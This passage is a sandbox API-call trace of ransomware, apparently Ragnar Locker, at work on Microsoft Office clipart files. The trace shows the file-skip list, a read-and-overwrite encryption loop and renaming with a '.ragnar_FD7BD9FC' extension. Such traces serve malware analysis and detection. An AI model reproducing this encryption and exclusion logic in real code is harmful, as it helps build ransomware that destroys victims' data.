ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107734.WMF", cAlternateFileName="")) returned 1 [0084.465] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.465] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107734.WMF" | out: lpString1="J0107734.WMF") returned="J0107734.WMF" [0084.465] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned=".WMF" [0084.466] lstrcmpiW (lpString1="J0107734.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.466] lstrcmpiW (lpString1="J0107734.WMF", lpString2="autorun.inf") returned 1 [0084.466] lstrcmpiW (lpString1="J0107734.WMF", lpString2="boot.ini") returned 1 [0084.466] lstrcmpiW (lpString1="J0107734.WMF", lpString2="bootfont.bin") returned 1 [0084.466] lstrcmpiW (lpString1="J0107734.WMF", lpString2="bootsect.bak") returned 1 [0084.466] lstrcmpiW (lpString1="J0107734.WMF", lpString2="bootmgr") returned 1 [0084.466] lstrcmpiW (lpString1="J0107734.WMF", lpString2="bootmgr.efi") returned 1 [0084.466] lstrcmpiW (lpString1="J0107734.WMF", lpString2="bootmgfw.efi") returned 1 [0084.466] lstrcmpiW (lpString1="J0107734.WMF", lpString2="desktop.ini") returned 1 [0084.466] lstrcmpiW (lpString1="J0107734.WMF", lpString2="iconcache.db") returned 1 [0084.466] lstrcmpiW (lpString1="J0107734.WMF", lpString2="ntldr") returned -1 [0084.466] lstrcmpiW (lpString1="J0107734.WMF", lpString2="ntuser.dat") returned -1 [0084.466] lstrcmpiW (lpString1="J0107734.WMF", lpString2="ntuser.dat.log") returned -1 [0084.466] lstrcmpiW (lpString1="J0107734.WMF", lpString2="ntuser.ini") returned -1 [0084.466] lstrcmpiW (lpString1="J0107734.WMF", lpString2="thumbs.db") returned -1 [0084.466] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.466] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.466] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.466] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.466] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.466] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.466] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf")) returned 0x20 [0084.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.467] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3140) returned 1 [0084.467] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc3b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.467] GetProcessHeap () returned 0x580000 [0084.467] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.467] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.468] VirtualAlloc (lpAddress=0x0, dwSize=0xc44, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.468] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.469] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.469] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc44, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc44, lpOverlapped=0x0) returned 1 [0084.469] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.469] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc44, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.469] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc44, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc44, lpOverlapped=0x0) returned 1 [0084.469] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc44, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.469] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.469] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.469] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.469] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.469] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.469] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.470] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.470] GetProcessHeap () returned 0x580000 [0084.470] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.470] CloseHandle (hObject=0xf4) returned 1 [0084.470] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" [0084.470] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.ragnar_FD7BD9FC" [0084.470] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.470] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107742.WMF", cAlternateFileName="")) returned 1 [0084.470] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.470] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107742.WMF" | out: lpString1="J0107742.WMF") returned="J0107742.WMF" [0084.470] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned=".WMF" [0084.470] lstrcmpiW (lpString1="J0107742.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.471] lstrcmpiW (lpString1="J0107742.WMF", lpString2="autorun.inf") returned 1 [0084.471] lstrcmpiW (lpString1="J0107742.WMF", lpString2="boot.ini") returned 1 [0084.471] lstrcmpiW (lpString1="J0107742.WMF", lpString2="bootfont.bin") returned 1 [0084.471] lstrcmpiW (lpString1="J0107742.WMF", lpString2="bootsect.bak") returned 1 [0084.471] lstrcmpiW (lpString1="J0107742.WMF", lpString2="bootmgr") returned 1 [0084.471] lstrcmpiW (lpString1="J0107742.WMF", lpString2="bootmgr.efi") returned 1 [0084.471] lstrcmpiW (lpString1="J0107742.WMF", lpString2="bootmgfw.efi") returned 1 [0084.471] lstrcmpiW (lpString1="J0107742.WMF", lpString2="desktop.ini") returned 1 [0084.471] lstrcmpiW (lpString1="J0107742.WMF", lpString2="iconcache.db") returned 1 [0084.471] lstrcmpiW (lpString1="J0107742.WMF", lpString2="ntldr") returned -1 [0084.471] lstrcmpiW (lpString1="J0107742.WMF", lpString2="ntuser.dat") returned -1 [0084.471] lstrcmpiW (lpString1="J0107742.WMF", lpString2="ntuser.dat.log") returned -1 [0084.471] lstrcmpiW (lpString1="J0107742.WMF", lpString2="ntuser.ini") returned -1 [0084.471] lstrcmpiW (lpString1="J0107742.WMF", lpString2="thumbs.db") returned -1 [0084.471] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.471] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.471] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.471] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.471] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.471] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.471] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf")) returned 0x20 [0084.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.472] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3644) returned 1 [0084.472] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe33, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.472] GetProcessHeap () returned 0x580000 [0084.472] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.472] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.473] VirtualAlloc (lpAddress=0x0, dwSize=0xe3c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.473] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.473] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.473] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe3c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe3c, lpOverlapped=0x0) returned 1 [0084.474] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.474] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe3c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.474] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe3c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe3c, lpOverlapped=0x0) returned 1 [0084.474] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe3c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.474] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.474] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe3c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.474] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.474] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.474] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.474] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.475] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.475] GetProcessHeap () returned 0x580000 [0084.475] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.475] CloseHandle (hObject=0xf4) returned 1 [0084.475] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" [0084.475] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.ragnar_FD7BD9FC" [0084.475] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.476] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107744.WMF", cAlternateFileName="")) returned 1 [0084.476] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.476] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107744.WMF" | out: lpString1="J0107744.WMF") returned="J0107744.WMF" [0084.476] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned=".WMF" [0084.476] lstrcmpiW (lpString1="J0107744.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.476] lstrcmpiW (lpString1="J0107744.WMF", lpString2="autorun.inf") returned 1 [0084.476] lstrcmpiW (lpString1="J0107744.WMF", lpString2="boot.ini") returned 1 [0084.476] lstrcmpiW (lpString1="J0107744.WMF", lpString2="bootfont.bin") returned 1 [0084.476] lstrcmpiW (lpString1="J0107744.WMF", lpString2="bootsect.bak") returned 1 [0084.476] lstrcmpiW (lpString1="J0107744.WMF", lpString2="bootmgr") returned 1 [0084.476] lstrcmpiW (lpString1="J0107744.WMF", lpString2="bootmgr.efi") returned 1 [0084.476] lstrcmpiW (lpString1="J0107744.WMF", lpString2="bootmgfw.efi") returned 1 [0084.476] lstrcmpiW (lpString1="J0107744.WMF", lpString2="desktop.ini") returned 1 [0084.476] lstrcmpiW (lpString1="J0107744.WMF", lpString2="iconcache.db") returned 1 [0084.476] lstrcmpiW (lpString1="J0107744.WMF", lpString2="ntldr") returned -1 [0084.476] lstrcmpiW (lpString1="J0107744.WMF", lpString2="ntuser.dat") returned -1 [0084.476] lstrcmpiW (lpString1="J0107744.WMF", lpString2="ntuser.dat.log") returned -1 [0084.476] lstrcmpiW (lpString1="J0107744.WMF", lpString2="ntuser.ini") returned -1 [0084.476] lstrcmpiW (lpString1="J0107744.WMF", lpString2="thumbs.db") returned -1 [0084.476] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.476] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.476] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.476] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.476] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.476] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.476] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf")) returned 0x20 [0084.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.477] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5004) returned 1 [0084.478] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1383, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.478] GetProcessHeap () returned 0x580000 [0084.478] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.478] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.479] VirtualAlloc (lpAddress=0x0, dwSize=0x138c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.479] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.479] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.479] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x138c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x138c, lpOverlapped=0x0) returned 1 [0084.480] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.480] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x138c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.480] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x138c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x138c, lpOverlapped=0x0) returned 1 [0084.480] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x138c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.480] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.481] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x138c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.481] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.481] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.481] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.481] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.481] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.481] GetProcessHeap () returned 0x580000 [0084.481] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.481] CloseHandle (hObject=0xf4) returned 1 [0084.481] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" [0084.481] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.ragnar_FD7BD9FC" [0084.481] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.482] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107746.WMF", cAlternateFileName="")) returned 1 [0084.482] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.482] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107746.WMF" | out: lpString1="J0107746.WMF") returned="J0107746.WMF" [0084.482] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned=".WMF" [0084.482] lstrcmpiW (lpString1="J0107746.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.482] lstrcmpiW (lpString1="J0107746.WMF", lpString2="autorun.inf") returned 1 [0084.482] lstrcmpiW (lpString1="J0107746.WMF", lpString2="boot.ini") returned 1 [0084.482] 